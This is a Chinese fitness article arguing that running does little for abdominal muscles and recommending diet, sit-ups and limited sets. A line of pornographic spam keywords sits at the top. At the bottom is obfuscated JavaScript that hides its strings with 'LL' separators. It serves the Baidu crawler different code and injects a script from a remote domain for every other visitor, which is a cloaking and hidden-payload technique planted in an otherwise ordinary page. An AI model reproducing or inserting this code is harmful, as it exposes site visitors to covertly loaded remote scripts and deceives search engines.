亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

鍛練腹肌要跑步嗎

2017-04-17 08:42:41  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:我們?nèi)绻胍憻捀辜〉脑?,那么用跑步的方式來鍛煉好不好呢?很多人每天?jiān)持讓自己跑步,但是一個(gè)月下來發(fā)現(xiàn)腹肌沒有,但是體重變輕了,身

我們?nèi)绻胍憻捀辜〉脑?,那么用跑步的方式來鍛煉好不好呢?很多人每天?jiān)持讓自己跑步,但是一個(gè)月下來發(fā)現(xiàn)腹肌沒有,但是體重變輕了,身體變好了,所以說很多人對(duì)這種跑步鍛煉腹肌的方法還是表示不怎么相信的,跑步是一種鍛煉體質(zhì)的方法,在跑步的時(shí)候很多人希望能夠在過程中得到好的肌肉鍛煉,那么練腹肌要跑步嗎?

跑步是全身運(yùn)動(dòng)??!幾乎是練不到腹肌的。

漂亮的腹肌取決于三個(gè)要素

飲食 : 你可能擁有世界上最壯觀的腹肌,但如果它們被脂肪覆蓋著,就沒有人能知道。記住,沒有食物肌肉不會(huì)增長(zhǎng),但過多的食物將增加脂肪。如果你努力并持續(xù)練了一年多的腹肌卻仍看不到它們。那你就應(yīng)該檢討自己的飲食了。

頻率 : 我隔天練一次腹肌。盡管多數(shù)人每周只練三次。

數(shù)量 : 雖然許多人一次做上百個(gè)仰臥起坐,但我建議你挑選2一4個(gè)對(duì)你最有效的練習(xí),只做三組,每組30一50次,每一組部應(yīng)達(dá)到完全力竭。我的腹肌訓(xùn)練從未超過15分鐘。

重量 : 腹肌訓(xùn)練時(shí)使用的重量越大,動(dòng)作不正規(guī)的可能性就越大,而且還會(huì)使腰部變厚。那種認(rèn)為增加重量可燃燒更多脂肪的觀點(diǎn)是錯(cuò)誤的。所以,建議你用緊張和控制來代替負(fù)重,用你的意念而下是外在的重量去繃緊和刺激腹肌。

練腹肌的時(shí)候跑步是沒有多大好處的,如果想要練出好的腹肌來,那么最好的方式還是多做一些仰臥起坐,還可以做其他的運(yùn)動(dòng),在鍛煉腹肌的時(shí)候還可以選擇杠鈴或者是啞鈴,如果用這樣的方式來鍛煉腹肌的話,那么一個(gè)月之后腹肌的效果就會(huì)慢慢的顯示出來了。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}